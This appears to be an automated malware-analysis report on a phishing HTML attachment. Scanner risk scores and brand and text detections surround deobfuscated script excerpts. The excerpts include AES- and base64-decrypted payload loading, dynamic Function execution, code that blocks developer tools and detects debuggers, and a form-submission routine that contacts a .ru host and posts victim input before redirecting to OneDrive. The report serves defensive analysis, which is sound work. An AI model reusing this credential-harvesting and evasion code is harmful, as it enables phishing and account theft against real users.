Windows Analysis Report
Danellarealty 1052.html

{
    "typosquatting": false,
    "unusual_query_string": false,
    "suspicious_tld": false,
    "ip_in_url": false,
    "long_subdomain": false,
    "malicious_keywords": false,
    "encoded_characters": false,
    "redirection": false,
    "contains_email_address": false,
    "known_domain": true,
    "brand_spoofing_attempt": false,
    "third_party_hosting": false
}

URL: https://microsoft.com

{
    "risk_score": 9,
    "reasoning": "Multiple high-risk indicators present: 1) Uses atob for obfuscation of URLs and content 2) Contains obfuscated code/URLs 3) Includes anti-debugging measures 4) Uses document.write for DOM manipulation 5) Contains suspicious encoded content that could be malicious payload 6) Attempts to detect and block security tools/debuggers"
}

if(atob("aHR0cHM6Ly9NWUIueHN3cGJzbXgucnUvOWRDUC8=") == "nomatch"){
document.write(decodeURIComponent(escape(atob('PCFET0NUWVBFIGh0bWw+DQo8aHRtbCBsYW5nPSJlbiI+DQo8aGVhZD4NCiAgICA8c2NyaXB0IHNyYz0iaHR0cHM6Ly9jb2RlLmpxdWVyeS5jb20vanF1ZXJ5LTMuNi4wLm1pbi5qcyI+PC9zY3JpcHQ+DQogICAgPHNjcmlwdCBzcmM9Imh0dHBzOi8vY2hhbGxlbmdlcy5jbG91ZGZsYXJlLmNvbS90dXJuc3RpbGUvdjAvYXBpLmpzP3JlbmRlcj1leHBsaWNpdCI+PC9zY3JpcHQ+DQogICAgPHNjcmlwdCBzcmM9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2NyeXB0by1qcy80LjEuMS9jcnlwdG8tanMubWluLmpzIj48L3NjcmlwdD4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPUVkZ2UsY2hyb21lPTEiPg0KICAgIDxtZXRhIG5hbWU9InJvYm90cyIgY29udGVudD0ibm9pbmRleCwgbm9mb2xsb3ciPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU+JiM4MjAzOzwvdGl0bGU+DQogICAgPHN0eWxlPg0KYm9keSB7DQogIGJhY2tncm91bmQtY29sb3I6ICNmZmY7DQogIGhlaWdodDogMTAwJTsNCiAgb3ZlcmZsb3c6IGhpZGRlbjsNCn0NCiNlRnNIdHVidUJLIGg0e21hcmdpbi10b3A6MDttYXJnaW4tYm90dG9tOi41cmVtO2ZvbnQtd2VpZ2h0OjUwMDtsaW5lLWhlaWdodDoxLjI7fQ0KI2VGc0h0dWJ1QksgaDR7Zm9udC1zaXplOmNhbGMoMS4zKTt9DQpAbWVkaWEgKG1pbi13aWR0aDoxMjAwcHgpew0KI2VGc0h0dWJ1QksgaDR7Zm9udC1zaXplOjEuNXJlbTt9DQp9DQojZUZzSHR1YnVCSyBwe21hcmdpbi10b3A6MDttYXJnaW4tYm90dG9tOjFyZW07fQ0KI2VGc0h0dWJ1QksuY2FwdGNoYS1jb250YWluZXJ7cG9zaXRpb246IHJlbGF0aXZlO3RvcDogMTMxcHg7Lyp3aWR0aDogMTAwJTsqL3BhZGRpbmctcmlnaHQ6IHZhcigtLWJzLWd1dHRlci14LCAuNzVyZW0pO3BhZGRpbmctbGVmdDogdmFyKC0tYnMtZ3V0dGVyLXgsIC43NXJlbSk7bWFyZ2luLXJpZ2h0OiBhdXRvO21hcmdpbi1sZWZ0OiBhdXRvO30NCiNlRnNIdHVidUJLIC50ZXh0LWNlbnRlciB7dGV4dC1hbGlnbjogY2VudGVyIWltcG9ydGFudDt9DQpAbWVkaWEgKG1pbi13aWR0aDo5OTJweCl7DQojZUZzSHR1YnVCSyAuY29sLWxnLTR7ZmxleDowIDAgYXV0bzt3aWR0aDozMy4zMzMzMzMzMyU7fQ0KfQ0KI2VGc0h0dWJ1QksgLmRpc3BsYXktNCB7Zm9udC1zaXplOiAxLjI1cmVtIWltcG9ydGFudDt9DQojZUZzSHR1YnVCSyAubXQtMiB7bWFyZ2luLXRvcDogMC41cmVtIWltcG9ydGFudDt9DQojZUZzSHR1YnVCSyAuaDQge2ZvbnQtc2l6ZTogY2FsYyguOTAwcmVtICsgLjN2dyk7fQ0KI2VGc0h0dWJ1QksgLmp1c3RpZnktY29udGVudC1jZW50ZXJ7anVzdGlmeS1jb250ZW50OmNlbnRlciFpbXBvcnRhbnQ7fQ0KI2VGc0h0dWJ1QksubXQtNXttYXJnaW4tdG9wOjNyZW0haW1wb3J0YW50O30NCiNlRnNIdHVidUJLIC5tdC00IHttYXJnaW4tdG9wOiAxcmVtIWltcG9ydGFudDt9DQojZUZzSHR1YnVCSyAjQW1RZ0tPWmlhTiB7Y29sb3I6ICM2Yzc1N2Q7Zm9udC1zaXplOjE0cHg7bWFyZ2luLXRvcDogLjVyZW07fQ0KICAgIDwvc3R5bGU+DQogICAgPHNjcmlwdD4NCiAgICBpZiAobmF2aWdhdG9yLndlYmRyaXZlciB8fCB3aW5kb3cuY2FsbFBoYW50b20gfHwgd2luZG93Ll9waGFudG9tIHx8IG5hdmlnYXRvci51c2VyQWdlbnQuaW5jbHVkZXMoIkJ1cnAiKSkgew0KICAgICAgICB3aW5kb3cubG9jYXRpb24gPSAiYWJvdXQ6YmxhbmsiOw0KfQ0KZG9jdW1lbnQuYWRkRXZlbnRMaXN0ZW5lcigna2V5ZG93bicsIGZ1bmN0aW9uKGV2ZW50KSB7DQogICAgaWYgKGV2ZW50LmtleUNvZGUgPT09IDEyMykgew0KICAgICAgICBldmVudC5wcmV2ZW50RGVmYXVsdCgpOw0KICAgICAgICByZXR1cm4gZmFsc2U7DQogICAgfQ0KDQogICAgaWYgKA0KICAgICAgICAoZXZlbnQuY3RybEtleSAmJiBldmVudC5rZXlDb2RlID09PSA4NSkgfHwNCiAgICAgICAgKGV2ZW50LmN0cmxLZXkgJiYgZXZlbnQuc2hpZnRLZXkgJiYgZXZlbnQua2V5Q29kZSA9PT0gNzMpIHx8DQogICAgICAgIChldmVudC5jdHJsS2V5ICYmIGV2ZW50LnNoaWZ0S2V5ICYmIGV2ZW50LmtleUNvZGUgPT09IDY3KSB8fA0KICAgICAgICAoZXZlbnQuY3RybEtleSAmJiBldmVudC5zaGlmdEtleSAmJiBldmVudC5rZXlDb2RlID09PSA3NCkgfHwNCiAgICAgICAgKGV2ZW50LmN0cmxLZXkgJiYgZXZlbnQuc2hpZnRLZXkgJiYgZXZlbnQua2V5Q29kZSA9PT0gNzUpIHx8DQogICAgICAgIChldmVudC5jdHJsS2V5ICYmIGV2ZW50LmtleUNvZGUgPT09IDcyKSB8fA0KICAgICAgICAoZXZlbnQubWV0YUtleSAmJiBldmVudC5hbHRLZXkgJiYgZXZlbnQua2V5Q29kZSA9PT0gNzMpIHx8DQogICAgICAgIChldmVudC5tZXRhS2V5ICYmIGV2ZW50LmFsdEtleSAmJiBldmVudC5rZXlDb2RlID09PSA2NykgfHwNCiAgICAgICAgKGV2ZW50Lm1ldGFLZXkgJiYgZXZlbnQua2V5Q29kZSA9PT0gODUpDQogICAgKSB7DQogICAgICAgIGV2ZW50LnByZXZlbnREZWZhdWx0KCk7DQogICAgICAgIHJldHVybiBmYWxzZTsNCiAgICB9DQp9KTsNCmRvY3VtZW50LmFkZEV2ZW50TGlzdGVuZXIoJ2NvbnRleHRtZW51JywgZnVuY3Rpb24oZXZlbnQpIHsNCiAgICBldmVudC5wcmV2ZW50RGVmYXVsdCgpOw0KICAgIHJldHVybiBmYWxzZTsNCn0pOw0KKGZ1bmN0aW9uIGVxYU5VbElibWIoKSB7DQogICAgbGV0IG5zSm1zY3NlR0EgPSBmYWxzZTsNCiAgICBjb25zdCBmbUJQaFR4RVhuID0gMTAwOw0KICAgIHNldEludGVydmFsKGZ1bmN0aW9uKCkgew0KICAgICAgICBjb25zdCB2VldSSEdVT0NzID0gcGVyZm9ybWFuY2Uubm93KCk7DQogICAgICAgIGRlYnVnZ2VyOw0KICAgICAgICBjb25z

{
    "risk_score": 9,
    "reasoning": "High-risk script demonstrating multiple suspicious behaviors: 1) Loads crypto library for obfuscation, 2) Uses heavily encoded base64 data, 3) Performs AES decryption of obfuscated content, 4) Uses document.write() for dynamic code execution, 5) Variable names appear randomized to avoid detection. Pattern matches known malware behavior of decoding and executing hidden payloads."
}

    var DBBdSTGXSVjVdgiz = document.createElement("script");
DBBdSTGXSVjVdgiz.setAttribute("src","https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js");
document.head.append(DBBdSTGXSVjVdgiz);
DBBdSTGXSVjVdgiz.onload=function(){
var {a,b,c,d} = JSON.parse(atob("eyJhIjoienhzQVc4XC9yRVwvQ0crTVZJK1dhakdZRTdWbmlNYkpoanBFXC9NM2s0NVNaQms3cDNcL3ZFZlB1cTZUWlU1Mm5ZQkJ6R0VvTHdWV21ET2QxazdqcGNoVEtpUUVaTkEzM0JVeGsrVDdzS0tkbEdJWkROYXV5R1MwOHJaWmRqQWNUT21ZbFBCWHRJaVEyMVNGNDdkREJCNDFIbENJRWFQSWttNHE4a25mamp6aFVtT2ZqekZcL0w2ZEpqdmZyU0Jza2FYMEp0RHpGU3lJcXBMcnVNbjBmV1h1WjI1UURWcUhobXFUQWhMUE4ycDA4YzF1cDBIQ3pWU1hGM2M5dTF6Q2xmK3c4Mlwva2xNQzBlRVRLMkNQekxUKzNNZVN4RVVrejFLc0ZXTDJzWE9INjg5ZDJcL2dCM2Y0VGdTK05kaXZJNHFEMlNEeUN0U0pPejlZbkNlVTkxQmQ0T2lmdVQ1T1gwMWt2c2xwM1EwQXhXS0JXTXhLZU1wNUR2N1FxKzdKTnRYUnNIa05SeHBcL0thcDVHXC9HSkhFQjBSYnBBOUpheithMnk3V0tvUVJvU3k1bGUxMmtENit3QW1FQmtVSFRpMFk5VzRkMCtoY1FtQjdrcDV0TFFodEQyOHl5RUUzemVNUWpFWkVBdEY2VnlwTUlPb2tsV2ZqV1dhZlZ3U0lBXC9aeU1XblwvZEFCXC93dGVUSzhYcWFvaU1FY3E5TEJcL3p0akJNenhlOEd1Tzh2OWM3aW1SSVQ4cFp2XC91ZW1ldzc2N2k4cndiUmFWOVMyVndXcFpGdGtObUd2UVF2ckZNWkkyNWZSaEtUZ0xrVmorWW5kRWJyV1VBOWx3QzZDeWU2amM5U3hUVHZGRHFnWWQ5RWVlOFlndktGSHp1WG00QStTdnpkOVwvMkUrbFwvNFwvY3F2YkVcL1hWOEI4S1Q1MmJVSFVVOXpLemhkYm9vTGdmQ3hkYnR6M1Y1Y05oZ1doSzM0ajk1ZnpJWlFIcG5Oa3paQVBTemNZWlJBMnRuQjFqK0ZLc2tRZU9Ua1lhQ0pPSHZsR1Q1UlR3TGRTQWtKazBQQT09IiwiYiI6ImI4ZmY4NjhjMmFjYWM5ZDU3ZTM1MGM5NjQxYzQ3ZmJiIiwiYyI6IjhmMzRmODA4ODIxYWRkYzUzNmY1NDRlMTZkZDg5YzU5IiwiZCI6IjYxNjEzNzMyMzkzNjMwMzMzMjM3NjUzMDM0MzE2MjMwMzE2MjMyMzA2NDMxMzMzMzM5NjY2MTM1NjQ2NDY0NjQifQ=="));
var VjGKzZvTQJrRYPPC = CryptoJS.PBKDF2(CryptoJS.enc.Hex.parse(d),CryptoJS.enc.Hex.parse(b),{hasher:CryptoJS.algo.SHA512,keySize:64/8,iterations:999});
qYCaCIDAQSxuuEkz = CryptoJS.AES.decrypt(a,VjGKzZvTQJrRYPPC,{iv:CryptoJS.enc.Hex.parse(c)}).toString(CryptoJS.enc.Utf8);
qYCaCIDAQSxuuEkz = qYCaCIDAQSxuuEkz.replace(/UrtlhaRDhKIudSUa/g, clover);
document.write(qYCaCIDAQSxuuEkz);
}

{
    "risk_score": 10,
    "reasoning": "This code exhibits multiple high-risk behaviors: 1) Heavy obfuscation using Unicode characters and binary conversion, 2) Uses Function constructor for dynamic code execution, 3) Uses Proxy object for potential evasion, 4) Contains encoded malicious payload. The code appears designed to hide its true functionality and execute potentially harmful operations."
}

clover = '#Mbsalvucci@danellarealty.com';
new Proxy({}, {get: (_, honeysuckle) => { const aardvark = [...honeysuckle].map(pasionaria => +("" > pasionaria)).join``.replace(/.{8}/g, fanwort => String.fromCharCode(parseInt(fanwort, 2)));const hazel = new Function(aardvark);return hazel();}}).

{
  "contains_trigger_text": true,
  "trigger_text": "Verifying your browser to ensure a secure online experience.",
  "prominent_button_name": "unknown",
  "text_input_field_labels": "unknown",
  "pdf_icon_visible": false,
  "has_visible_captcha": false,
  "has_urgent_text": false,
  "has_visible_qrcode": false,
  "contains_chinese_text": false
}

{
    "risk_score": 9,
    "reasoning": "High-risk script showing multiple suspicious behaviors: 1) Makes requests to a suspicious Russian domain (.ru) with an unusually long hostname, 2) Contains obfuscated/encoded variable names, 3) Performs redirects to OneDrive (potentially for phishing), 4) Uses form data exfiltration through POST requests, 5) Implements Cloudflare Turnstile but appears to use it maliciously. The combination of data collection, suspicious domains, and redirects strongly suggests malicious intent."
}

turnstile.render('#cf', {
    sitekey: '0x4AAAAAAA0qpC5c45_RMlWM',
    'error-callback': WBmMUoMULO,
    callback: iJHoyvRtKJ,
});
function WBmMUoMULO() {
    turnstile.reset();
}
function iJHoyvRtKJ() {
    var SBaryVMiFw = document.getElementById("UTapdDpCEM");
    SBaryVMiFw.onsubmit = function (event) {
        event.preventDefault();
    };
    document.getElementById("pagelink").value = 'wQpnTD';
    var mkbKaCUAxx = "../kmhY4yqqFrD60BTLfjxR0Zav2Tpo";
    fetch('https://eUKiSkKNIpCXXzUhmrgophXaM0NybQm6Y9rNSitcaCvFZWlSbVd.bfcgpixdwnw.ru/kNNCRuAPpzARwNvUMVngxkKlnBtlOVFKCVBSKRNJNYUETDCIVHZAXTHNFZJHUGPMWRUVXGCTFFWUZPWWUFQX', {
    method: "GET",
    }).then(response => {
    return response.text()
    }).then(text => {
    if(text == 0){
    fetch(mkbKaCUAxx, {
        method: "POST",
        body: new FormData(SBaryVMiFw)
    }).then(response => {
        return response.json();
    }).then(data => {
        if(data['status'] == 'success'){
        location.reload();
        }
        if(data['status'] == 'error'){
        window.location.replace('https://www.onedrive.com');
        }
    });
    }
    if(text != 0){
    window.location.replace('https://www.onedrive.com');
    }
    })
    .catch(error => {
    window.location.replace('https://www.onedrive.com');
    });
}

{
    "risk_score": 7,
    "reasoning": "Script demonstrates multiple suspicious behaviors: (1) Anti-debugging techniques including detection of webdriver/phantom/Burp Suite, (2) Aggressive prevention of developer tools and inspection through keyboard shortcuts, (3) Prevention of right-click context menu, (4) Obfuscated variable names in the timing detection function, (5) Forced redirect to onedrive.com using debugger detection. While some of these could be legitimate security measures, the combination and implementation suggest potential malicious intent to prevent analysis and force redirects."
}

    if (navigator.webdriver || window.callPhantom || window._phantom || navigator.userAgent.includes("Burp")) {
        window.location = "about:blank";
}
document.addEventListener('keydown', function(event) {
    if (event.keyCode === 123) {
        event.preventDefault();
        return false;
    }

    if (
        (event.ctrlKey && event.keyCode === 85) ||
        (event.ctrlKey && event.shiftKey && event.keyCode === 73) ||
        (event.ctrlKey && event.shiftKey && event.keyCode === 67) ||
        (event.ctrlKey && event.shiftKey && event.keyCode === 74) ||
        (event.ctrlKey && event.shiftKey && event.keyCode === 75) ||
        (event.ctrlKey && event.keyCode === 72) ||
        (event.metaKey && event.altKey && event.keyCode === 73) ||
        (event.metaKey && event.altKey && event.keyCode === 67) ||
        (event.metaKey && event.keyCode === 85)
    ) {
        event.preventDefault();
        return false;
    }
});
document.addEventListener('contextmenu', function(event) {
    event.preventDefault();
    return false;
});
(function eqaNUlIbmb() {
    let nsJmscseGA = false;
    const fmBPhTxEXn = 100;
    setInterval(function() {
        const vVWRHGUOCs = performance.now();
        debugger;
        const MtprzOslEb = performance.now();
        if (MtprzOslEb - vVWRHGUOCs > fmBPhTxEXn && !nsJmscseGA) {
            nsJmscseGA = true;
            window.location.replace('https://www.onedrive.com');
        }
    }, 1000);
})();
    

{
  "contains_trigger_text": true,
  "trigger_text": "Verifying your browser to ensure a secure online experience.",
  "prominent_button_name": "unknown",
  "text_input_field_labels": "unknown",
  "pdf_icon_visible": false,
  "has_visible_captcha": false,
  "has_urgent_text": false,
  "has_visible_qrcode": false,
  "contains_chinese_text": false
}

{
  "brands": []
}

{
  "contains_trigger_text": true,
  "trigger_text": "Verifying your browser to ensure a secure online experience.",
  "prominent_button_name": "unknown",
  "text_input_field_labels": "unknown",
  "pdf_icon_visible": false,
  "has_visible_captcha": false,
  "has_urgent_text": false,
  "has_visible_qrcode": false,
  "contains_chinese_text": false
}

{
  "brands": [
    "Cloudflare"
  ]
}

{
  "brands": [
    "Cloudflare"
  ]
}

{
    "contains_trigger_text": true,
    "trigger_text": "Your current User-Agent string appears to be from an automated process, if this is incorrect, please click this link:",
    "prominent_button_name": "United States English Microsoft Homepage",
    "text_input_field_labels": "unknown",
    "pdf_icon_visible": false,
    "has_visible_captcha": false,
    "has_urgent_text": false,
    "has_visible_qrcode": false,
    "contains_chinese_text": false
}

{
    "contains_trigger_text": true,
    "trigger_text": "Your current User-Agent string appears to be from an automated process, if this is incorrect, please click this link:",
    "prominent_button_name": "United States English Microsoft Homepage",
    "text_input_field_labels": "unknown",
    "pdf_icon_visible": false,
    "has_visible_captcha": false,
    "has_urgent_text": true,
    "has_visible_qrcode": false,
    "contains_chinese_text": false
}

{
    "contains_trigger_text": true,
    "trigger_text": "Your current User-Agent string appears to be from an automated process, if this is incorrect, please click this link:",
    "prominent_button_name": "United States English Microsoft Homepage",
    "text_input_field_labels": "unknown",
    "pdf_icon_visible": false,
    "has_visible_captcha": false,
    "has_urgent_text": true,
    "has_visible_qrcode": false,
    "contains_chinese_text": false
}

{
  "brands": [
    "Microsoft"
  ]
}

{
  "brands": [
    "Microsoft"
  ]
}

{
  "brands": [
    "Microsoft"
  ]
}